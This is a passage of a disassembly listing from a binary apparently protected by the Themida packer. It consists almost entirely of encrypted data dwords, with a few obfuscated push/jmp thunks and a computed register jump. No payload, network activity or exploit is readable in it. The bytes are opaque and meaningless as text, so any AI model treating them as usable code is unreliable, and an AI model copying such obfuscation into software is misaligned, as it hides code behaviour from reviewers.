		dd 120537C4h, 4BE9h, 8FA74B00h,	72h, 0C51C5700h, 6148434Ah
		dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh,	89937EE5h
		dd 0F4C7009Dh, 6063921Dh, 0DE19h, 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A9229
; ---------------------------------------------------------------------------
		push	615D2E9h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615D437h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615D547h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615D650h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615D72Ah
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615D80Ch
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615D8EAh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615DB19h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	615DC28h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 36h
		dd 5EDD5194h, 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h
		dd 1655F765h, 317213A2h, 0D48FE7Dh, 0EC21CA51h,	88837D70h
		dd 6BD9AD3Ah, 5C37FDDAh, 5D4C1EBDh, 67F64D6Ah, 71A65D74h
		dd 0DCCFA185h, 94265366h, 0ACBEA27Eh, 6148792Dh, 942653E1h
		dd 594D2905h, 6CA95EDDh, 0B99FBCB8h, 98144902h,	0E2C6A21h
		dd 0DB10B7DDh, 9E1E4B27h, 0EEA2BE34h, 17E9F201h, 1C3A0414h
		dd 42517A9Eh, 77961576h, 9E6DD5D4h, 0AD899E18h,	4EF4B7C9h
		dd 0A69E189Eh, 71EDADCAh, 614C815Fh, 7EB36CBEh,	0BED3A259h
		dd 447932A9h, 8123B688h, 0F5D24E42h, 0A450853Eh, 1D5E0FCAh
		dd 8DF00D69h, 8A815F86h, 9E189938h, 299980DCh, 0CD9E1899h
		dd 0B05B7551h, 9428E09Fh, 976E0267h, 0EA9F76EDh, 17B56FDh
		dd 0F2CEF492h, 2C4C1745h, 1C8D995Eh, 0A23h, 0F266A949h
		dd 0D286BD63h, 0E9659E43h, 0CC80BD72h, 0E05C9B4Dh, 0B86C9EEAh
		dd 9336C579h, 0AB5FD652h, 863DBC70h, 0EF2DD51h,	0D9AEA71Bh
		dd 0DA623F6Bh, 0C73B7932h, 5EE4A744h, 0B66DCCB4h, 99718DBAh
		dd 3EFDCFF3h, 8B7B5085h, 4C1E530Ch, 0F29ED98Dh,	0FBE5596Eh
		dd 61B2F2D2h, 5126083Ah, 0A4B625B4h, 0FC51C4E5h, 984B4267h
		dd 0DC8B775Bh, 943C5662h, 9653F281h, 397B003Bh,	3E7B30ABh
		dd 57F9CE52h, 40h, 6004D7B5h, 7CC2802Bh, 46226DCCh, 0DDFA762Ah
		dd 4B597980h, 0FF180C0Bh, 5356284Ch, 67FC647Eh,	144B0198h
		dd 34E00460h, 93C87F3Ah, 6471CDB6h, 0DF94943Ch,	1E4CA540h
		dd 0CE2C397Bh, 9E000000h, 0D0AA96D7h, 146348B1h, 8EC37C37h
		dd 6741E3E2h, 999D89C2h, 0E477C9BDh, 161A063Bh,	0C2AEED9Fh
		dd 19D2895Eh, 0F29930E4h, 0F14A01BDh, 4E6DCCA4h, 6DEC6095h
		dd 83DE6B6h, 483C181Ch,	6D7F5C7Bh, 4BE6D93h, 0E06DCCDCh
		dd 0A7BC6784h, 3F67FCAAh, 0FB1A67E3h, 0B61B0EE0h, 2E9E0A25h
		dd 0CDB9FAABh, 928E9469h, 104F01B8h, 0D969203Eh, 3D9E11A5h
		dd 0C3520CE1h, 69A24721h, 4902B9BDh, 5F8B3014h,	0D1403591h
		dd 8D5D4C5h, 4BFB0000h,	1FC55408h, 40E574E8h, 1FC45307h
		dd 3DEF66E2h, 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h
		dd 2397CC73h, 0ED555428h, 96BD9A8h, 7E3220ACh, 58532D3Fh
		dd 6DCC7CEAh, 85390E0Ah, 0A4184DF6h, 1EBD5C06h,	1F4C324Ch
		dd 132DE226h, 1CA655E7h, 316DCC83h, 0D24E427Dh,	0E2873E1Ah
		dd 0FAD7D4A9h, 0FA67FC83h, 0B2598C3Fh, 943C8210h, 7F5C78F4h
		dd 0A4F39F7Bh, 943C821Ah, 0CE2BCAF9h, 397A3803h, 0CBE3h
		dd 79322900h, 0CBD1FE3Bh, 0EEF0DD16h, 84567A9Fh, 0F7D413B5h
		dd 604B3507h, 6DCC9FE2h, 0C9793002h, 2D6DCC9Fh,	7B381531h
		dd 24C081C9h, 630F5001h, 0A601DAFFh, 7B65775Bh,	0CCBB3290h
		dd 8156D26Dh, 0C765D685h, 11BA6DCCh, 32D960DCh,	7E72AB62h
		dd 762A6107h, 6FAD6FAh,	0AFC11AB9h, 0FCC9E7FCh,	0A723FF67h
		dd 275E06D5h, 83E2F77Bh, 96956774h, 9E0A052Ch, 0C7926CC8h
		dd 0E372E625h, 0F3550241h, 9D4035B7h, 7C52089h,	3BEB0000h
		dd 0FB544F8h, 30D564D8h, 0FB443F7h, 2DDF56D2h, 304C3AEEh
		dd 5BCF0EC2h, 74E829DCh, 520641E5h, 73E71CC3h, 3D858478h
		dd 0D96BD9A9h, 7E3250DCh, 530C8B3Fh, 811F4C1Eh,	23D8D6C3h
		dd 5DEB7388h, 50447932h, 835D9239h, 7C14AE5Dh, 74F06DCCh
		dd 9E28DF57h, 0D96DCC7Ch, 4200AB3Ah, 0A26DCC7Ch, 0AED0AAC6h
		dd 0CC7C47FBh, 0A6C39F6Dh, 0D7D2ACD2h, 6DCC7C6Bh, 0D1BA8F8Bh
		dd 67F64DC8h, 0BB0702DCh, 5B942652h, 65A448FFh,	0C4969288h
		dd 0F4BCD187h, 0D425124Fh, 2B9792D4h, 0CB94266Ah, 1946734Fh
		dd 94DF4208h, 0CD8C7489h, 0DE0FE116h, 0C7369E1Dh, 0C4C7997Bh
		dd 9426B37Eh, 0F9BD9A96h, 0CD823927h, 9980E490h, 9426B329h
		dd 0D213B6CDh, 559637EEh, 3404BB78h, 566538Eh, 0EF0E4EEDh
		dd 8658724Eh, 266B3F83h, 3D52D794h, 38CF1E7Dh, 0E698B591h
		dd 0FE1FA19h, 16535F1Ch, 0DE8BE79Eh, 4032056Ch,	0BC617222h
		dd 0E2000006h, 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h
		dd 7D6BDF1Eh, 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h
		dd 64271914h, 6BD9AADEh, 32F3B936h, 0E7413B79h,	36CB261Eh
		dd 0B490CB7Fh, 54F5C49Ah, 14035F13h, 6DCC68AEh,	110DEA46h
		dd 0AAE79C1Fh, 285D06CDh, 0E57C1F7Ch, 7BB25AE1h, 22571087h
		dd 0A6E5873Eh, 0DA6176FAh, 7D40FC31h, 336B2234h, 714h
		dd 76407600h, 8C000001h, 0CC7C4402h, 0E7F4036Dh, 4D0E1615h
		dd 0B58467F6h, 9B27E20Fh, 7B942653h, 53CFC39Fh,	0D6A88476h
		dd 0B3275C03h, 5A467B24h, 77B859E0h, 4CF40362h,	9D8C5E93h
		dd 94265325h, 6F8165C1h, 11965C91h, 0AF47B5C1h,	83A8F19Ah
		dd 675E9E16h, 989C88C3h, 34350FBCh, 2BFB4032h, 5E2BAh
		dd 23660800h, 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh
		dd 2557B399h, 11884483h, 2CAB1F60h, 0F87F3B76h,	0AB9E1A4Fh
		dd 0AB68DAD1h, 0F8C6BD9h, 44793285h, 54923950h,	0D4CA438Dh
		dd 2F9396D7h, 0C76DCC2Eh, 0B76B876Bh, 322C1E2h,	8655275Ch
		dd 72EEA2E3h, 0D31EE155h, 43336AE3h, 92D5330Ah,	72EEA2DBh
		dd 15F45345h, 79038h, 40FA0000h, 0A5h, 1EBD5C8Ch, 83D41F4Ch
		dd 301D52F9h, 9EBB5EADh, 85FCCFBAh, 2A0667F6h, 0F7AB2E50h
		dd 6B149FBCh, 4F3A2436h, 94268AF3h, 0A75B964Ch,	8257D3CBh
		dd 51863DBCh, 12C950A5h, 0BB5B5138h, 0EF6B9E1Ch, 6EA75EDDh
		dd 0BB48759h, 2CD362D6h, 1FB60BF7h, 0A2BCA2BCh,	19595BE7h
		dd 8A5FBB9Eh, 2920ACA1h, 79DE3A94h, 5E2D53F5h, 0DACBDBh
		dd 26000005h, 0E8D4184h, 2CAB1F56h, 0F9803C75h,	16A51956h
		dd 91773372h, 26650775h, 418223B2h, 1D580E8Dh, 3C711AA1h
		dd 0F8B38D80h, 6BD9A44Ah, 40672DAAh, 15Eh, 1EBD5C8Ch, 5D4C324Ch
		dd 6DCC7CE5h, 5B482501h, 67F64D68h, 10E48950h, 4D391D5Ch
		dd 538A38F3h, 0EE6A9426h, 8E05F5D2h, 0B7B09DD8h, 0DBC59C88h
		dd 16A5B79Bh, 3D23386Dh, 1C90C57Eh, 0C5B1E69Dh,	0B057E9F0h
		dd 0CD04BC7Bh, 1496D7A9h, 0B8964B39h, 79B257CEh, 0ACD4A98Dh
		dd 870899D2h, 0FC15644Bh, 253424DFh, 50CC9E1Ch,	0CF04BB7Eh
		dd 0EE23DC5Bh, 1A26AD02h, 401A3677h, 46FCD879h,	371B170Bh
		dd 99203E22h, 7CC6C5F4h, 989E18EBh, 693B89Ch, 59405531h
		dd 6B5C4724h, 739428CCh, 88C652F7h, 0FCA85E2Ch,	422EBh
		dd 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh, 559438BFh
		dd 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh
		dd 0A4A81A11h, 4F4C6BD9h, 447932C5h, 0C0FBAF2Ah, 8B7B50D4h
		dd 0E083530Ch, 76D3BFA3h, 40E74EE5h, 597DBC70h,	35D71AE5h
		dd 5FB7336Bh, 0C9000000h, 884EF4B7h, 85849233h,	9233883Dh
		dd 0C9A55DD9h, 0BD5C18B4h, 645D4C1Eh, 6067FCCAh, 0CE378B7Eh
		dd 4ACF9423h, 39051B56h, 32472BB3h, 5FDAF470h, 0EBD71AAh
		dd 94237FB1h, 5A0DDD86h, 3927391Dh, 7FDE6427h, 3A369423h
		dd 237FF74Bh, 94130F94h, 229CB1F0h, 0C1B5EE93h,	36ED8h
		dd 7C322400h, 5DB5541h,	0CC7CBC06h, 0FFDC586Dh,	0E2568B34h
		dd 1CE0D3F8h, 0B0EFB07Fh, 3267209Bh, 0D0A0473Eh, 0ECFEE217h
		dd 6C81B66Dh, 55868DF2h, 0CF0AC07Bh, 562A3F23h,	0FC1A7653h
		dd 0E0949067h, 238A0DB9h, 3CD3F094h, 7B33F8B9h,	7DD839h
		dd 0D7320000h, 56FDFD96h, 54F76CD2h, 0EB076B17h
		dd 73686F0Eh, 0BC81B259h, 6A6367FCh, 3AEB0D6Ch,	0DB35226Bh
		dd 11C384F0h, 0C7BEC499h, 363AE625h, 180B401Ah,	938C4773h
		dd 13044DD3h, 0E546426h, 3C1AA71Bh, 0FFE33F94h,	77423CEAh
		dd 85E195D6h, 1A03BB68h, 6B14943Ch, 1AF94940h, 411D943Ch
		dd 0B25A7125h, 8B34877Bh, 7194BFF4h, 587010CBh,	59F88B7Ch
		dd 7A45519Ch, 10B3139h,	0D79B0000h, 7C4002A9h, 0C8A46DCCh
		dd 4A7F28B3h, 0CD02A930h, 35D7EEB0h, 0D48B0AF6h, 7C4002A9h
		dd 0C8A46DCCh, 6307D2ACh, 7CCB7732h, 2F2B6DCCh,	0E6035F13h
		dd 0B5EAA138h, 0F952F9h, 9D466DCCh, 27DB1CCDh, 24B3274Bh
		dd 0D24C3D7Bh, 38A42807h, 7C9B681Ch, 7A738D5Fh,	0B9DA8179h
		dd 7DB6A36Fh, 9FAAD663h, 25E69DBAh, 0E19803C5h,	5D7CC985h
		dd 826ED975h, 5F4AA528h, 942379E3h, 274B2703h, 0C2802B55h
		dd 22942379h, 5C4F3146h, 9E15B16Eh, 0FEE0FA76h,	319929E0h
		dd 0A17D9E10h, 1E5D0FCCh, 3A792BAAh, 3405958Dh,	1A8B9B40h
		dd 1F3h, 82367919h, 0A2164DF3h,	79356E13h, 9C104D02h, 0B02C6B1Dh
		dd 681C4EBAh, 8326B529h, 5B0F8642h, 762DAC20h, 9EA28D41h
		dd 0D9A757EBh, 6A32AF6Bh, 239F96D7h, 15E747B8h,	8AC97B38h
		dd 6BA047CEh, 39EC6F91h, 81280CF8h, 6DCC7EC1h, 0AA344925h
		dd 1E6809D0h, 4368C1Dh,	6B80646Ah, 1EBD5CE1h, 7C745D4Ch
		dd 0E97067FCh, 2FF30847h, 58341933h, 80BF7109h,	9AAB9094h
		dd 0F9A5C285h, 3C6C14B2h, 25BCF794h, 7B25EDC0h,	0CDCD39h
		dd 323F0000h, 39504479h, 0FDAC5897h, 6DCC004Ch,	0A012CD3h
		dd 923380B8h, 68E4005Ch, 11053AF1h, 0B4C615A4h,	3F334F5h
		dd 0E256D298h, 2352D3F8h, 26303A01h, 0B625B451h, 15A4BAA4h
		dd 0E84C386Fh, 23258141h, 0ACE99E94h, 0A86378F4h, 9E15E873h
		dd 0EBC76AF1h, 0E12FE35h, 9651532h, 0E6C064F7h,	181C083Dh
		dd 0AD9E803Ch, 0EF93DA3Ah, 7764C0B4h, 0D3A8DDB8h, 0B8256408h
		dd 403461D4h, 0E439AA7Ah, 0A000000h, 32A92568h,	1087437Ah
		dd 2DAC2059h, 0FA813D7Ah, 0A5A31756h, 3A792B59h, 1556F77Eh
		dd 316C2299h, 1045FE7Dh, 0DCCFB19Ch, 6BD9A066h,	329B217Eh
		dd 0AE2D3F7Eh, 35A9BEF7h, 0B6C8FDA6h, 50447F23h, 1BF83CCBh
		dd 0E4C87Ch, 32D573EBh,	39504479h, 84E15D92h, 0AE745D75h
		dd 7A5F984Dh, 1C38FD30h, 2A94742h, 194767F6h, 2FE4447h
		dd 1A169426h, 2602D76Bh, 16332F94h, 7D1C0864h, 431D91C6h
		dd 0B499D078h, 324A390Dh, 864D2A5Dh, 0ADFCA8DDh, 998229Dh
		dd 9F861D86h, 80F7B3E8h, 1B892C7h, 685F134Ch, 91668ABFh
		dd 1451F695h, 0C1787660h, 4125D10Eh, 39F8972Ch,	5AE15D92h
		dd 1F887CB1h, 1Fh, 0C5F29A21h, 9C217CC6h, 0B89C98E8h, 0B99368CCh
		dd 7C3F215Fh, 21A188C9h, 0C56DCC7Ch, 32B89469h,	52493D80h
		dd 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h
		dd 39504481h, 30A75B94h, 0CF554178h, 504668h, 243C8900h
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0DD682434h
		dd 89000056h, 6EBE243Ch, 5519504Eh, 924501BDh, 76CD811Ch
		dd 0C179B631h, 0ED8102E5h, 27E16671h, 315CED81h, 0F58114A8h
		dd 5695BD81h, 545DEE01h, 81243C8Bh, 4C4h, 4EC8300h, 8F243489h
		dd 3C8B0847h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 5E2434FFh, 0E904C483h, 0FFFAA2B8h, 3F25E4Ch,	0F5B72F9Dh
		db 8Dh
; ---------------------------------------------------------------------------


loc_5A9229:				; CODE XREF: Themida_:005A8608j
		mov	eax, 615DD31h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 9771h
; ---------------------------------------------------------------------------
		sbb	al, 2Dh
		retn	992Eh
; ---------------------------------------------------------------------------
		db 7Ah,	5Eh, 61h
		dd 7BE80188h, 0CA3B521Ch, 5F552C34h, 0F4EC12AAh, 0CFB271ACh
		dd 0BEB1030Ah, 0DC704E22h, 8F063B6Fh, 53D8000Ch, 6CAD7D13h
		dd 0EDCD7315h, 9C1C0333h, 171A0917h, 0B4C0F5Ah,	0B62B5AFDh
		dd 0BC665214h, 1FB45DC5h, 4A9F1FC3h, 7DCB7556h,	0AF154115h
		dd 4B130DA5h, 29001A9h,	0DE41D0Ah, 7625307h, 0E7F8644Eh
		dd 16E92838h, 7F000000h, 9C406A99h, 77E733h, 3 dup(0)
		dd 0D4BE900h, 0E8680000h, 0E90615DFh, 0FFFAA20Ch, 15E0D368h
		dd 0A202E906h, 2768FFFAh, 0E90615E2h, 0FFFAA1F8h, 15E37F68h
		dd 0A1EEE906h, 568FFFAh, 0E90615E5h, 0FFFAA1E4h, 15E79768h
		dd 0A1DAE906h, 0E68FFFAh, 0E90615E9h, 0FFFAA1D0h, 15EA3668h
		dd 0A1C6E906h, 0DB8BFFFAh, 0EF952498h, 0D07504B8h, 0EF942397h
		dd 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch, 0F266A145h
		dd 0D387BC63h, 9D25E4D8h, 796BD9A2h, 7932B07Ch,	92395044h
		dd 7584E15Dh, 0B4959466h, 5267FC11h, 969929E0h,	0A17D9423h
		dd 0DC5FD1C5h, 1E02EE23h, 96E46249h, 6C079423h,	3FBD10D5h
		dd 359D397Bh, 0EF000000h, 4C1EBD5Ch, 0FC7C745Dh, 0E9A09267h
		dd 943C7C59h, 2C06BBDh,	0E2943C7Ch, 9A866A86h, 3C7C73CBh
		dd 42E19294h, 7B3666A7h, 0F34639h, 81380000h, 0EFB592CDh
		dd 2A447932h, 0A0BDFEAFh, 6B45E7DEh, 0A7627CB7h, 6DCC7C1Bh
		dd 4F431FFBh, 0A65A8F38h, 2943782Fh, 83EE5457h,	25E49233h
		dd 9233839Dh, 8E05FD79h, 6EF29ED7h, 0AC17552h, 9233FF6Dh
		dd 0B874A962h, 0D6B253E6h, 27DBF72Eh, 0FEA52E4Bh, 0E2C9B7C9h
		dd 92338660h, 0D3D3A884h, 1B0ED7DEh, 923386A7h,	0EDFFE33Fh
		dd 3F0253Eh, 0E965C198h, 20C37D9Ch, 0B66A9F48h,	6B1F96BAh
		dd 243A1430h, 0F4B3F495h, 503B1051h, 9E1558E3h,	841DCC01h
		dd 0B0CFB83Ah, 718BE79Bh, 530746EAh, 7CE120C4h,	40357E7Bh
		dd 145A4B5Bh, 4A00000Bh, 72E965A8h, 50C783BAh, 6DEC6099h
		dd 3AC17DBAh, 0E5E35796h, 7AB96B99h, 559637BEh,	71AC62D9h
		dd 50853EBDh, 1C0FF1DCh, 6BD9A3A6h, 0D7DB613Eh,	7C4002A9h
		dd 0C8A46DCCh, 4C215E11h, 2A9EDD8Fh, 0BBFF4ABh,	2A9D77Dh
		dd 6DCC7C40h, 5F11C8A4h, 0DBF07420h, 5E706B8Ah,	0FC7C86ABh
		dd 0F0A48067h, 23831DA9h, 3E7F3294h, 558E3352h,	1EB50EA1h
		dd 13B2C1B2h, 427F24B7h, 2F5D24Eh, 397B36AFh, 0A88Fh, 7932FD00h
		dd 97395044h, 90FDAC58h, 0A76DCC00h, 880FCB00h,	9BD0AADFh
		dd 6E318522h, 21DDFAECh, 0C49645D4h, 314DCC5h, 0AA1EFA98h
		dd 431DBE55h, 15BEFA48h, 2C3E1A9Eh, 0A5E68752h,	0DB5875F1h
		dd 4910EA29h, 27C861A5h, 0DD87878Bh, 4F8E42F9h,	34AABFA3h
		dd 832903A5h, 28C3284Ch, 0E44034EFh, 0A29A730h,	0AF5F0000h
		dd 0C369F06Ch, 0A449D08Ch, 0C368EF6Bh, 0A143D286h, 8400E662h
		dd 0B773B256h, 904C8D40h, 0AE2A6509h, 8F4B8027h, 59E9A09Ch
		dd 0BD6BD99Ch, 7E3254E0h, 2AB18B3Fh, 0BEFDAF83h, 5572EEA2h
		dd 3CF025DEh, 4E7932AEh, 0CC7CE75Bh, 3F23FF6Dh,	568B3453h
		dd 65767DE2h, 1E3FA08Bh, 6BC767FCh, 637F5C91h, 7318EDDCh
		dd 4401A856h, 0A994233Dh, 337E7B1Ah, 13397BE9h,	6A8h, 1EBD5C79h
		dd 5D4C324Ch, 6DCC7CE5h, 2A62501h, 64FDA6C3h, 8267FC1Fh
		dd 391D560Bh, 0A1A01E4Dh, 30439423h, 4C795491h,	7959397Bh
		dd 0B3000006h, 4C1EBD5Ch, 0FC20CC5Dh, 927EDA67h, 23A17BC3h
		dd 4AE99A94h, 7B4D5EAFh, 65A3E39h, 158C0000h, 3BA037BAh
		dd 20F96A21h, 0E5FB67FCh, 23A09C26h, 0DFFC7894h, 0D3843F1Bh
		dd 6016FA52h, 0CD75344Ah, 290016CEh, 46CD304Dh,	9FD0BB95h
		dd 50A26A2h, 0AB578E36h, 1D39782Ch, 0CDE3A40h, 0D27F8DDFh
		dd 14E9887Fh, 2A169D12h, 0A07E3F85h, 1F413DD5h,	0EFD34F43h
		dd 5AE62EDDh, 0C29E0036h, 0F995D6A8h, 0DAC26296h, 5F1348FFh
		dd 0EBFADF03h, 0E1F86CEFh, 1BC48F6Ch, 0A44514E6h, 49D08663h
		dd 0E3006DA2h, 0ABD252A9h, 8D5EAFBh, 5B0B0000h,	6F15A418h
		dd 50F58438h, 6F14A317h, 4DFF7632h, 50AC9A0Eh, 7B2F6E22h
		dd 540849FCh, 72E621C5h, 53073CE3h, 1DA56458h, 0F96BD99Eh
		dd 96D730FCh, 751849B1h, 0D40C0734h, 0EB2CDD5Ch, 739E450Eh
		dd 0CC430AB8h, 526EEA6Dh, 19C2519Eh, 92CF7447h,	4B376C13h
		dd 3BEE12E7h, 67F665C3h, 0D33CB69Bh, 7EB6E623h,	0F73FE662h
		dd 639426AEh, 0E01DD289h, 5F817B0Bh, 26AE16ACh,	269EE94h
		dd 95DB557Eh, 9497698Dh, 94269B2Eh, 0C68D6AC6h,	0F74E81Dh
		dd 0E3FDCF0Ch, 269B9A28h, 0C99E7A94h, 9B56F4B7h, 0B2AE9426h
		dd 0EB20C7BEh, 99C3DC11h, 8191E390h, 9B33F26Ch,	0AC94267Eh
		dd 7CC6C5F6h, 9894267Eh, 0A5A6B89Ch, 39A4D4BBh,	0A41A2F15h
		dd 4D396E15h, 2619A01Eh, 6B0A9994h, 70EC21CAh, 190D42E9h
		dd 2689F452h, 6AA54994h, 306B1FB6h, 0DD740744h,	17AE45EFh
		dd 4E20550Eh, 9C97930h,	312D9426h, 0C499D47Ah, 13F89FAh
		dd 32030000h, 39504479h, 0CD0EBF95h, 0D00DC2D9h, 40244024h
		dd 0AD5FDA54h, 10B2596Eh, 2D6DCC7Ch, 60554176h,	0C1688259h
		dd 67F65A45h, 4A933C21h, 577B76C0h, 0A78B77B4h,	48FAB1CBh
		dd 0AC9426E0h, 0C02794B0h, 6C4A02C9h, 77D2FB8h,	13B30000h
		dd 27DD5CD0h, 8BD3CF0h,	27DC5BCFh, 45E76EEAh, 28545206h
		dd 63D716BAh, 3CF031D4h, 5ACE09BDh, 3BEF24DBh, 5BD6C50h
		dd 0E16BD99Fh, 79323804h, 97395044h, 0BD458658h, 8FCE96C8h
		dd 3A71178Eh, 6C22991Dh, 45FE7D31h, 6B1D9C10h, 0AF61782Ch
		dd 5E058470h, 0A95E7D29h, 12B1B86Ch, 2B504D73h,	1A73294h
		dd 342223C1h, 587CCAE8h, 3A14B883h, 0CBA75B92h,	0A56833A7h
		dd 15336AF9h, 2485DD8h,	7A2EF19Fh, 7EB473Bh, 8C619850h
		dd 19E4h, 0DBF1DA00h, 0F29C7C68h, 4021ABC0h, 0A8h, 0D3490B40h
		dd 0D2E89216h, 79322FF5h, 0BD095044h, 9F6DCC0Ch, 3BE44DE4h
		dd 1F0AF406h, 92338CA3h, 5E934C43h, 0E221C382h,	0A115322Eh
		dd 4D39741Ah, 338CA11Eh, 92D37692h, 0A41E7DEh, 0DD652416h
		dd 3992338Ch, 0D66D0E3Dh, 1DB483EAh, 77336E14h,	417C32F1h
		dd 55903655h, 38D7ECA1h, 2C671B9Eh, 0A3DE844Fh,	9405A4C9h
		dd 7968F552h, 0CCE73092h, 7C58D46Dh, 7B30D75Fh,	0E96DCC9Fh
		dd 0FDD86204h, 9382FBDEh, 6DCC392Fh, 94876BC7h,	336AE538h
		dd 0FFFE7E1Ah, 96D770FFh, 0F2A6E9ADh, 0EB372F3h, 2D49F8D5h
		dd 0C3000003h, 5B4E7932h, 6DCC7CE7h, 533F23FFh,	0CC7CAA04h
		dd 0F58C2B6Dh, 8A3E732Ch, 731F540Bh, 0CC7C8A24h, 0CF04BB6Dh
		dd 9447CE23h, 5A37CFBAh, 53CF67F6h, 27795E6h, 0E8F1A54Ah
		dd 5F7h, 7E3A7D2Dh, 9E1A51F7h, 85397217h, 981451F6h, 7C306F21h
		dd 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h, 7A8669E5h
		dd 0D999338Fh, 4ED6D36Bh, 50447932h, 86589739h,	913612B3h
		dd 0A0847054h, 0B22913CBh, 0B9D0C4F9h, 0E3F8DC13h, 0BE7AAF58h
		dd 0A9609537h, 6DCC7C19h, 2B4521FDh, 64CAF342h,	55725BEEh
		dd 3F7E32A9h, 0CE65F653h, 0D286C567h, 6B6CC607h, 276A633h
		dd 5CE40000h, 3F661AC1h, 6EDF7BB5h, 65801F54h, 325A288Ch
		dd 25F6Ch, 4D7DE00h, 0A6E18561h, 0CD50ADCAh, 49FCCC73h
		dd 0F608EC08h, 9185BE63h, 33721695h, 0FB474216h, 1B6DCC7Ch
		dd 8804533Fh, 476EDF7Bh, 80BD72E9h, 0BC39D86Bh,	325A28F1h
		dd 0F736DA61h, 21E6EE2h, 5CDC0000h, 1E401AC1h, 0CC7CD76Bh
		dd 16332F6Dh, 7CE74742h, 431F6DCCh, 7B8C084Fh, 0C77D6EDFh
		dd 41E5E490h, 0F9881A06h, 0EE25DB5Ah, 51421E02h, 0B80A01DFh
		dd 5C6CDD7Dh, 0B958EB00h, 5A28713Ch, 1DA5132h, 5CBB0000h
		dd 49401AC1h, 6DCC7CE1h, 0E5D4925h, 6EDF7B82h, 0E591D273h
		dd 1A063FE6h, 765AF988h, 9A5FF68Dh, 325A2957h, 1AF37h
		dd 79329500h, 0FB185C3Bh, 3F11FC4Bh
		dd 0CCF9F64Ch, 2E120E6Dh, 679C4342h, 9F709F3h, 0CCF9A022h
		dd 41E8446Dh, 6DCCF981h, 91F40965h, 84875982h, 67FC94A7h
		dd 964E0D5Fh, 130AB85Fh, 0D3EA943Ch, 0F4D0F42Fh, 70AB5FDAh
		dd 42FCAB5Bh, 0A1943C13h, 9B767312h, 7B397ABAh,	46h, 0F996D7D1h
		dd 6E6F62B5h, 601BFBF0h, 320E1452h, 0AA31C815h,	0EAF8D9D0h
		dd 0A71E67FCh, 5BD7CB00h, 36371D6Eh, 0A2BEFF9Eh, 0F71FA7EEh
		dd 0C5FE943Ch, 782DAC2Eh, 0A8E1883Fh, 9C6378FCh, 397AAB51h
		dd 0EA31h, 79329B00h, 97395044h, 0CB38658h, 2D49883Ch
		dd 1EE0FD79h, 0D7CB00A7h, 953707C0h, 0F0EF674Dh, 75518F13h
		dd 0E0CBA581h, 6DCCBC62h, 0ECAA682h, 0EB57522Ch, 0B6DCCBCh
		dd 24513A0Fh, 0C06DCCC0h, 0C057EB9Eh, 0B3AF6DCCh, 31661D96h
		dd 4A91287Dh, 0D48B4E30h, 40245D04h, 932FDA54h,	736DCCC0h
		dd 5FEDBF7h, 67FA0D3Fh,	62E0CBB5h, 8294227Bh, 42792FA6h
		dd 8037525h, 94227BBAh,	0B0C1A725h, 2AE2F186h, 2638122Eh
		dd 9CB1F293h, 1C2E6D1Fh, 0F9ADEA9Dh, 4D6607Dh, 0AB579035h
		dd 463A772Ch, 6AF106EAh, 0A3E287C6h, 0EF4A0601h, 365AE37h
		dd 0EB9B0000h, 0FFA534A8h, 0E08514C8h, 0FFA433A7h, 0DD8F06C2h
		dd 0C03C2A9Eh, 2B9FDE92h, 4B8F9ACh, 2296D175h, 3B7EC93h
		dd 0CD753408h, 296BD99Bh, 7E3200CCh, 530C8B3Fh,	321CAA1Eh
		dd 39504479h, 0D00DC292h, 349138F4h, 356DCC7Ch,	98233D9Eh
		dd 4DF6B5F4h, 6E1D4318h, 67FC2BE5h, 3894521h, 50447932h
		dd 8C55EDDEh, 0A32AC7FEh, 0CC175AE8h, 825EBA6Dh, 35EE65h
		dd 0FBE0F74Ch, 7A012AE1h, 58E367FCh, 9E6479B0h,	95D6A8C2h
		dd 93238238h, 60E2C946h, 84943CCDh, 457A31A8h, 6F8D551h
		dd 3CCDE75Fh, 0D66D0694h, 7A78BA13h, 479A39h, 0D7F00000h
		dd 6F235E04h, 7087D6F3h, 916F916Bh, 0CC7C289Ah,	7B50CC6Dh
		dd 0FC7CA390h, 1B076367h, 270E3F21h, 0CAF9305Bh, 5202C067h
		dd 681B9423h, 3FB772Bh,	0ED595227h, 10942352h, 0D819DC73h
		dd 0B8397C07h, 0DEh, 4E793212h,	0CC7CE75Bh, 5990386Dh
		dd 0FDA9CDA9h, 14AE5D83h, 0F06DCC7Ch, 28DC5774h, 0E59E3DE9h
		dd 1EC5C4B0h, 785C994Eh, 74516566h, 0EBD46E1Dh,	34306DCCh
		dd 64606107h, 8B6084BDh, 0DA7B14D3h, 934C6DCCh,	0B46BEA5Eh
		dd 971E937Fh, 0BA7F2A44h, 4C67FCDAh, 0F0075CD0h, 0DDC11EBh
		dd 0D811B8EEh, 0C5779FF3h, 0E1D9D0A8h, 59E0A5Ch, 0E0845729h
		dd 0FAAE2DA1h, 7AC90EBBh, 75214036h, 1EE64h, 3F822400h
		dd 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h, 1738F7Dh
		dd 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh, 957CC6C5h
